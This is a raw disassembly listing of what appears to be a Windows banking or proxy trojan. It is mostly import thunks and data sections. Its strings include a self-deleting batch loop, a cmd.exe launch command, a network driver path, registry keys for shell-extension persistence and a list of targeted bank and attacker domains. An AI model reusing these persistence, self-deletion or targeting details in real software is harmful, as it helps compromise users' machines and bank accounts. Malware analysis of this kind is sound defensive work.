; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C878 proc near ; CODE XREF: sub_401A7E+61p ; sub_40506F+6Ep ... jmp ds:dword_4483F0 sub_40C878 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C884 proc near ; CODE XREF: sub_40506F+A2p ; sub_4054C8+8Ap ... jmp ds:dword_4483F4 sub_40C884 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C890 proc near ; CODE XREF: sub_40A9BC+2Cp jmp ds:dword_4483F8 sub_40C890 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C89C proc near ; CODE XREF: sub_40506F+3Bp jmp ds:dword_4483FC sub_40C89C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C8A8 proc near ; CODE XREF: sub_40133B+68p ; sub_401A7E+89p jmp ds:dword_448400 sub_40C8A8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C8B4 proc near ; CODE XREF: sub_40107A+13p jmp ds:dword_448404 sub_40C8B4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C8C0 proc near ; CODE XREF: sub_402A48+4CEp ; sub_408779+6Fp jmp ds:dword_448408 sub_40C8C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C8CC proc near ; CODE XREF: sub_40133B+34p ; sub_401A7E+26p ... jmp ds:dword_44840C sub_40C8CC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C8D8 proc near ; CODE XREF: sub_4051C3+47p ; sub_408048+1EAp ... jmp ds:dword_448410 sub_40C8D8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C8E4 proc near ; CODE XREF: sub_40833E+E5p jmp ds:dword_448414 sub_40C8E4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C8F0 proc near ; CODE XREF: sub_4061F7+3C2p ; sub_4061F7+3F5p jmp ds:dword_448418 sub_40C8F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C8FC proc near ; CODE XREF: sub_4061F7+5FDp ; sub_408B4C+2A0p jmp ds:dword_44841C sub_40C8FC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C908 proc near ; CODE XREF: sub_40864E+15p jmp ds:dword_448420 sub_40C908 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C914 proc near ; CODE XREF: sub_40867D+12p jmp ds:dword_448424 sub_40C914 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C920 proc near ; CODE XREF: sub_402A48+4F3p jmp ds:dword_448428 sub_40C920 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C92C proc near ; CODE XREF: sub_4068C1+3Bp jmp ds:dword_44842C sub_40C92C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C938 proc near ; CODE XREF: sub_403A5F+179p ; sub_404313+12p ... jmp ds:dword_448430 sub_40C938 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C944 proc near ; CODE XREF: sub_403A5F+D2p ; sub_403BE7+2A2p ... jmp ds:dword_448434 sub_40C944 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C950 proc near ; CODE XREF: sub_40AA24+5ACp jmp ds:dword_448438 sub_40C950 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C95C proc near ; CODE XREF: sub_401BB7+AFp ; sub_4053FE+12p ... jmp ds:dword_44843C sub_40C95C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C968 proc near ; CODE XREF: sub_4068C1+1Fp jmp ds:dword_448440 sub_40C968 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C974 proc near ; CODE XREF: sub_4061F7+2FAp ; sub_408B4C+264p jmp ds:dword_448444 sub_40C974 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C980 proc near ; CODE XREF: sub_407F07+35p ; sub_40AA24+818p jmp ds:dword_448448 sub_40C980 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C98C proc near ; CODE XREF: sub_40B2CA+108p jmp ds:dword_448454 sub_40C98C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C998 proc near ; CODE XREF: sub_4061F7+40Cp ; sub_406A40+9Cp ... jmp ds:dword_448458 sub_40C998 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9A4 proc near ; CODE XREF: sub_408ED0+87p ; sub_40B3E8+EDp ... jmp ds:dword_44845C sub_40C9A4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9B0 proc near ; CODE XREF: sub_4061F7+39Ep jmp ds:dword_448460 sub_40C9B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9BC proc near ; CODE XREF: sub_408E12+23p ; sub_408E12+9Ap jmp ds:dword_448464 sub_40C9BC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9C8 proc near ; CODE XREF: sub_408E12+56p jmp ds:dword_448468 sub_40C9C8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9D4 proc near ; CODE XREF: sub_408ED0+9CEp ; sub_40B2CA+43p ... jmp ds:dword_44846C sub_40C9D4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9E0 proc near ; CODE XREF: sub_406D2E+73p jmp ds:dword_448470 sub_40C9E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9EC proc near ; CODE XREF: sub_40AA24+500p jmp ds:dword_448474 sub_40C9EC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9F8 proc near ; CODE XREF: sub_40AA24+847p jmp ds:dword_448478 sub_40C9F8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA04 proc near ; CODE XREF: sub_40AA24+51Fp jmp ds:dword_44847C sub_40CA04 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA10 proc near ; CODE XREF: sub_40B3E8+39Bp ; sub_40B3E8+41Ap ... jmp ds:dword_448480 sub_40CA10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA1C proc near ; CODE XREF: sub_40AA24+896p jmp ds:dword_448484 sub_40CA1C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA28 proc near ; CODE XREF: sub_408ED0+8FDp ; sub_408ED0+945p ... jmp ds:dword_448488 sub_40CA28 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA34 proc near ; CODE XREF: sub_408ED0+924p ; sub_408ED0+95Cp ... jmp ds:dword_44848C sub_40CA34 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA40 proc near ; CODE XREF: sub_4043CA+6Ap jmp ds:dword_448490 sub_40CA40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA4C proc near ; CODE XREF: sub_4043CA+8Cp jmp ds:dword_448494 sub_40CA4C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA58 proc near ; CODE XREF: sub_4043CA+3Cp jmp ds:dword_448498 sub_40CA58 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA64 proc near ; CODE XREF: sub_40AA24+873p jmp ds:dword_44849C sub_40CA64 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA70 proc near ; CODE XREF: sub_40AA24+887p jmp ds:dword_4484A0 sub_40CA70 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA7C proc near ; CODE XREF: sub_404EC6+66p ; sub_404EC6+CCp ... jmp ds:dword_4484A4 sub_40CA7C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA88 proc near ; CODE XREF: sub_408ED0+224p ; sub_408ED0+379p ... jmp ds:dword_4484A8 sub_40CA88 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA94 proc near ; CODE XREF: sub_40AA24+55Bp jmp ds:dword_4484AC sub_40CA94 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CAA0 proc near ; CODE XREF: sub_40B3E8+1F2p jmp ds:dword_4484B0 sub_40CAA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CAAC proc near ; CODE XREF: sub_408ED0+75p ; sub_40B3E8+808p jmp ds:dword_4484B4 sub_40CAAC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CAB8 proc near ; CODE XREF: sub_408ED0+D7p ; sub_408ED0+14Dp ... jmp ds:dword_4484B8 sub_40CAB8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CAC4 proc near ; CODE XREF: sub_40B3E8+20Ep ; sub_40B3E8+747p jmp ds:dword_4484BC sub_40CAC4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CAD0 proc near ; CODE XREF: sub_40B3E8+183p jmp ds:dword_4484C0 sub_40CAD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CADC proc near ; CODE XREF: sub_40B3E8+82Ep jmp ds:dword_4484C4 sub_40CADC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CAE8 proc near ; CODE XREF: sub_40AA24+532p jmp ds:dword_4484D0 sub_40CAE8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CAF4 proc near ; CODE XREF: sub_40B3E8+2CBp jmp ds:dword_4484D4 sub_40CAF4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB00 proc near ; CODE XREF: sub_40B3E8+295p ; sub_40B3E8+2A1p jmp ds:dword_4484D8 sub_40CB00 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB0C proc near ; CODE XREF: sub_40B3E8+2F3p jmp ds:dword_4484DC sub_40CB0C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB18 proc near ; CODE XREF: sub_408ED0+1F6p ; sub_408ED0+805p jmp ds:dword_4484E0 sub_40CB18 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB24 proc near ; CODE XREF: sub_40506F+51p jmp ds:dword_4484EC sub_40CB24 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB30 proc near ; CODE XREF: sub_40506F+8Ap jmp ds:dword_4484F0 sub_40CB30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB3C proc near ; CODE XREF: sub_40160A+33p ; sub_403F47+4Cp jmp ds:dword_4484F4 sub_40CB3C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB48 proc near ; CODE XREF: sub_4014C9+87p ; sub_40160A+6Cp ... jmp ds:dword_4484F8 sub_40CB48 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB54 proc near ; CODE XREF: sub_4014C9+36p jmp ds:dword_4484FC sub_40CB54 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB60 proc near ; CODE XREF: sub_4014C9+6Cp jmp ds:dword_448500 sub_40CB60 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB6C proc near ; CODE XREF: sub_40160A+5Dp ; sub_403F47+73p jmp ds:dword_448504 sub_40CB6C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB78 proc near ; CODE XREF: sub_4023A7+33p jmp ds:dword_448508 sub_40CB78 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB84 proc near ; CODE XREF: sub_4023A7+6Ep jmp ds:dword_44850C sub_40CB84 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB90 proc near ; CODE XREF: sub_4023A7+54p jmp ds:dword_448510 sub_40CB90 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB9C proc near ; CODE XREF: sub_404EC6+1Fp jmp ds:dword_448514 sub_40CB9C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CBA8 proc near ; CODE XREF: sub_404EC6+171p jmp ds:dword_448518 sub_40CBA8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CBB4 proc near ; CODE XREF: sub_404EC6+2Fp jmp ds:dword_44851C sub_40CBB4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CBC0 proc near ; CODE XREF: sub_4035DB+3Fp jmp ds:dword_448528 sub_40CBC0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CBCC proc near ; CODE XREF: sub_401219+49p jmp ds:dword_44852C sub_40CBCC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CBD8 proc near ; CODE XREF: sub_406A40+16Ap ; sub_406D2E+69p ... jmp ds:dword_448530 sub_40CBD8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CBE4 proc near ; CODE XREF: sub_40523D+F0p ; sub_40523D+17Cp jmp ds:dword_448534 sub_40CBE4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CBF0 proc near ; CODE XREF: sub_4098A8+1017p ; sub_4098A8+103Fp jmp ds:dword_448538 sub_40CBF0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CBFC proc near ; CODE XREF: sub_401219+74p ; sub_4098A8+D7Ep ... jmp ds:dword_44853C sub_40CBFC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC08 proc near ; CODE XREF: sub_408779+119p jmp ds:dword_448540 sub_40CC08 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC14 proc near ; CODE XREF: sub_40129C+1Cp ; .text:00401448p ... jmp ds:dword_448544 sub_40CC14 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC20 proc near ; CODE XREF: sub_4061F7+7Bp ; sub_4061F7+255p ... jmp ds:dword_448548 sub_40CC20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC2C proc near ; CODE XREF: sub_40109A+149p jmp ds:dword_44854C sub_40CC2C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC38 proc near ; CODE XREF: sub_40172F:loc_401746p ; sub_403BE7+3Bp ... jmp ds:dword_448550 sub_40CC38 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC44 proc near ; CODE XREF: sub_40109A+102p ; sub_40109A+11Cp ... jmp ds:dword_448554 sub_40CC44 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC50 proc near ; CODE XREF: sub_4037CA+2Bp ; .text:0040388Ap ... jmp ds:dword_448558 sub_40CC50 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC5C proc near ; CODE XREF: sub_4098A8+7Dp ; sub_40AA24+128p jmp ds:dword_44855C sub_40CC5C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC68 proc near ; CODE XREF: sub_4098A8+A77p jmp ds:dword_448560 sub_40CC68 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC74 proc near ; CODE XREF: sub_40341E+44p ; sub_40349A+51p ... jmp ds:dword_448564 sub_40CC74 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC80 proc near ; CODE XREF: sub_40C654+17p jmp ds:dword_448568 sub_40CC80 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC8C proc near ; CODE XREF: sub_4061F7+4FAp jmp ds:dword_44856C sub_40CC8C endp ; --------------------------------------------------------------------------- align 400h _text ends ; Section 2. (virtual address 0000D000) ; Virtual size : 0002E520 ( 189728.) ; Section size in file : 0002E520 ( 189728.) ; Offset to raw data for section: 0000D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _bss segment para public 'DATA' use32 assume cs:_bss ;org 40D000h dword_40D000 dd 72656B5Ch ; sub_4082AB+89r ... aNel32_dll db 'nel32.dll',0 align 10h dd 0 aSCmd_pif db '%s\cmd.pif',0 align 10h dd 0 db 0 aCmd_exeCStartC db '\cmd.exe /C start c:\boot.sys',0 align 4 dd 40Dh dup(0) dword_40E078 dd 0 ; sub_40B2CA+C8r dword_40E07C dd 0 ; sub_401D31+45Cw ... dword_40E080 dd 40h dup(0) ; sub_4098A8+709o ... dword_40E180 dd 0 ; sub_40354F:loc_4035D1r dd 413h dup(0) dword_40F1D0 dd 0 ; sub_401D31+21Ew ... dword_40F1D4 dd 0 ; sub_401D31+3E9r ... dword_40F1D8 dd 0 ; sub_406D2E+FF5r ... byte_40F1DC db 0 ; DATA XREF: sub_401D31+11Dw align 10h dword_40F1E0 dd 40h dup(0) ; sub_40AA24+425o ... dword_40F2E0 dd 0 ; sub_402A48+D0w ... dd 0FFh dup(0) dword_40F6E0 dd 0 ; sub_40372A+96r dd 44Eh dup(0) dword_41081C dd 0 ; sub_408ED0+855r ... dword_410820 dd 0 ; .text:loc_401BADr dd 41Fh dup(0) dword_4118A0 dd 0 dd 0FFh dup(0) dword_411CA0 dd 785C7325h ; sub_404020+41r aSlfdlnt_bat db 'slfdlnt.bat',0 dd 0 dd 5C732500h, 2E646D63h, 666970h, 0 dd 6D635C00h, 78652E64h, 65h, 3A000000h, 706F6F6Ch, 64400A0Dh dd 25206C65h, 756E3E73h, 400A0D6Ch, 65206669h, 74736978h dd 20732520h, 6F746F67h, 6F6F6C20h, 400A0D70h, 206C6564h dd 6E3E7325h, 0A0D6C75h, 0 dd 73250000h, 20432F20h, 7325h, 431h dup(0) dword_412DE0 dd 0 ; .text:00402559r dd 44Eh dup(0) dword_413F1C dd 0 ; sub_40B2CA+DDr dword_413F20 dd 0 ; sub_408ED0+8ADr ... align 10h dword_413F30 dd 0 ; sub_408AB9+89r dd 44Fh dup(0) byte_415070 db 0 ; DATA XREF: sub_401D31+3F1w align 8 byte_415078 db 0 ; DATA XREF: sub_401D31+5Fw ; sub_401D31+64r ... align 4 dword_41507C dd 0 ; sub_401D31+1C8w ... dword_415080 dd 40h dup(0) ; sub_4098A8+9ECo ... dword_415180 dd 0 ; sub_402A48+C4r ... dd 0FFh dup(0) dword_415580 dd 0 ; sub_407FBC:loc_40803Er dd 45Bh dup(0) dword_4166F0 dd 0 ; .text:00401991r dd 3FFh dup(0) dword_4176F0 dd 0 ; sub_404491+8Er dd 3F3h dup(0) dword_4186C0 dd 0 ; .text:loc_40221Cr dd 413h dup(0) dword_419710 dd 94h ; sub_40AA24+D2o dd 5, 1, 0A28h dword_419720 dd 2 aServicePack2 db 'Service Pack 2',0 align 4 dd 1Fh dup(0) dword_4197B0 dd 0 ; sub_405138+81r dd 40Fh dup(0) dword_41A7F0 dd 0 ; .text:004014BFr dd 3EBh dup(0) byte_41B7A0 db 0 ; DATA XREF: sub_401D31+3B8w ; sub_401D31+3BDr align 4 dword_41B7A4 dd 0 ; sub_401D31+D0r ... dword_41B7A8 dd 0 dword_41B7AC dd 0 ; sub_4023A7+13r ... dword_41B7B0 dd 6972645Ch ; sub_40129C+95r aVersNdisrd_sys db 'vers\ndisrd.sys',0 dd 0 dd 616E6500h, 64656C62h, 6673h, 0 aSS_exe db '%s\%s.exe',0 align 4 dd 3F6h dup(0) dword_41C7BC dd 0 ; sub_40AA24+841r ... dword_41C7C0 dd 0 ; sub_406815+A2r dd 435h dup(0) dword_41D898 dd 0 ; sub_408ED0+21Er dword_41D89C dd 0 ; sub_408ED0+6Fr ... dword_41D8A0 dd 0 ; sub_4024A8+13r align 10h dword_41D8B0 dd 463Ah ; sub_4032E2+84r dd 401h dup(0) dword_41E8B8 dd 0 ; sub_401D31:loc_401DBBw ... dword_41E8BC dd 0 ; sub_408ED0+74Fr ... dword_41E8C0 dd 0 ; sub_40B2CA+ACr dword_41E8C4 dd 0 ; sub_408ED0+3B5r ... dword_41E8C8 dd 0 ; sub_402445+53r dword_41E8CC dd 400000h ; sub_408ED0+10Fr ... dword_41E8D0 dd 40h dup(0) ; sub_4098A8+DD5o ... dword_41E9D0 dd 0 ; sub_401D31+ACw ... align 10h dword_41E9E0 dd 3430257Bh ; sub_40390E:loc_403991r aX04x04x04x04x0 db 'X%04X-%04X-%04X-%04X-%04X%04X%04X}',0 a08x db '%08X',0 aSS_dll db '%s\%s.dll',0 aClsidSInprocse db 'CLSID\%s\InProcServer32',0 aThreadingmodel db 'ThreadingModel',0 aApartment db 'Apartment',0 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelay' db 'Load',0 align 10h dd 3D9h dup(0) dword_41F9F4 dd 0 ; sub_40B2CA+9Cr align 10h dword_41FA00 dd 40h dup(0) ; sub_40AA24+3FFo ... byte_41FB00 db 0 ; DATA XREF: sub_401D31+175w align 4 dword_41FB04 dd 0 ; sub_408ED0+117r ... align 10h byte_41FB10 db 0 ; DATA XREF: sub_406D2E+136o ; sub_406D2E+D2Fo ... byte_41FB11 db 0 ; DATA XREF: sub_406D2E+EB1r byte_41FB12 db 0 ; DATA XREF: sub_406D2E+EBAr byte_41FB13 db 0 ; DATA XREF: sub_406D2E+EC3r dd 3FFFh dup(0) byte_42FB10 db 0 ; DATA XREF: sub_401D31+267w ; sub_401D31+26Cr align 4 dword_42FB14 dd 0 ; .text:00407F76r ... align 10h dword_42FB20 dd 0 ; .text:loc_401810r dd 43Fh dup(0) dword_430C20 dd 0 dword_430C24 dd 0 ; sub_4022BB+17r dword_430C28 dd 0 ; sub_408ED0+23Fr ... byte_430C2C db 0 ; DATA XREF: sub_401D31+2FAw ; sub_401D31+30Br ... align 10h dword_430C30 dd 0 ; .text:loc_4043C0r dd 407h dup(0) dword_431C50 dd 0 ; sub_406CA2:loc_406D24r dd 459h dup(0) dword_432DB8 dd 0 ; sub_408ED0+898r ... dword_432DBC dd 0 ; sub_40B3E8+246r ... dword_432DC0 dd 0 ; sub_408ED0+373r ... align 10h dword_432DD0 dd 0 ; .text:00408644r dd 443h dup(0) aCWindowsSystem db 'C:\WINDOWS\system32',0 ; DATA XREF: sub_403A5F+64o ; sub_403BE7+221o ... dd 3Bh dup(0) byte_433FE0 db 0 ; DATA XREF: sub_40133B+ADo ; sub_408048+FCw ... align 4 dd 3Fh dup(0) dword_4340E0 dd 0 ; .text:00401A74r dd 43Dh dup(0) dword_4351D8 dd 0 ; sub_408ED0+8D0r ... dword_4351DC dd 0 ; sub_408ED0+8E5r dword_4351E0 dd 0 ; .text:00401600r dd 41Bh dup(0) dword_436250 dd 0 ; sub_404E2A:loc_404EBCr dd 43Fh dup(0) dword_437350 dd 0 ; .text:loc_401D27r dd 423h dup(0) dword_4383E0 dd 0 ; .text:loc_401725r dd 45Fh dup(0) dword_439560 dd 0 ; .text:00408934r dd 3FDh dup(0) dword_43A558 dd 0 ; sub_40B3E8+24Er ... align 10h byte_43A560 db 0 ; DATA XREF: sub_401D31+42Bw align 10h dword_43A570 dd 0 ; .text:00408737r dd 3EBh dup(0) _bss ends ; Section 3. (virtual address 0003C000) ; Virtual size : 0000C000 ( 49152.) ; Section size in file : 0000C000 ( 49152.) ; Offset to raw data for section: 0003C000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 43C000h dd offset dword_40D000 dd 43B520h, 8000h, 0 dword_43C010 dd 0 ; sub_40109A+110w ... dword_43C014 dd 12FF74h dd 0 dword_43C01C dd 0 dword_43C020 dd 1 ; sub_401219+5Ar dword_43C024 dd 14A4E0h ; sub_401219+54r dword_43C028 dd 1471D8h ; sub_401219+4Er dword_43C02C dd 0 ; sub_40109A:loc_401208r dword_43C030 dd 0 dword_43C034 dd 0 ; sub_40109A+87r ... dword_43C038 dd 0 dword_43C03C dd 14h dup(0) ; sub_40109A+8Fo dword_43C08C dd 0 dword_43C090 dd 0 ; sub_40109A+32w dword_43C094 dd 5 ; sub_408ED0+47Ar ... dword_43C098 dd 12h ; sub_408E12+6Er ... dword_43C09C dd 37h ; sub_40129C:loc_4012CBr ... aKkqhook_29 db 'KKQHOOK_29',0 ; DATA XREF: sub_40A9BC+20o ; sub_40AA24+5A3o aGu? db 'gU',27h,'= ?',0 aOX2bn db 'O+X2Bn',0 aW db 'w',0 align 4 dword_43C0BC dd 0 ; sub_4098A8+153r ... dword_43C0C0 dd 46h ; sub_4098A8+105Cr ... off_43C0C4 dd offset aSiliconfirewar ; DATA XREF: sub_4098A8+126r ; sub_4098A8+159r ; "siliconfireware.ru" dd offset aChechenpress_i ; "chechenpress.info" dd offset aProdexteam_net ; "prodexteam.net" dd offset aProdexteam_n_0 ; "prodexteam.net/main.htm" dd offset aWww_cbr_ru ; "www.cbr.ru" dd offset aWww_proxySocks ; "www.proxy-socks.net" dd offset aProdexteam_n_1 ; "prodexteam.netcrutop.nu" dd offset aNew_egg_com ; "new.egg.com" dd offset aWww_baltbank_r ; "www.baltbank.ru" dd offset aWelcome3_smile ; "welcome3.smile.co.uk" dd offset aOlb2_nationet_ ; "olb2.nationet.com" dd offset aWww_bbin_ru ; "www.bbin.ru" 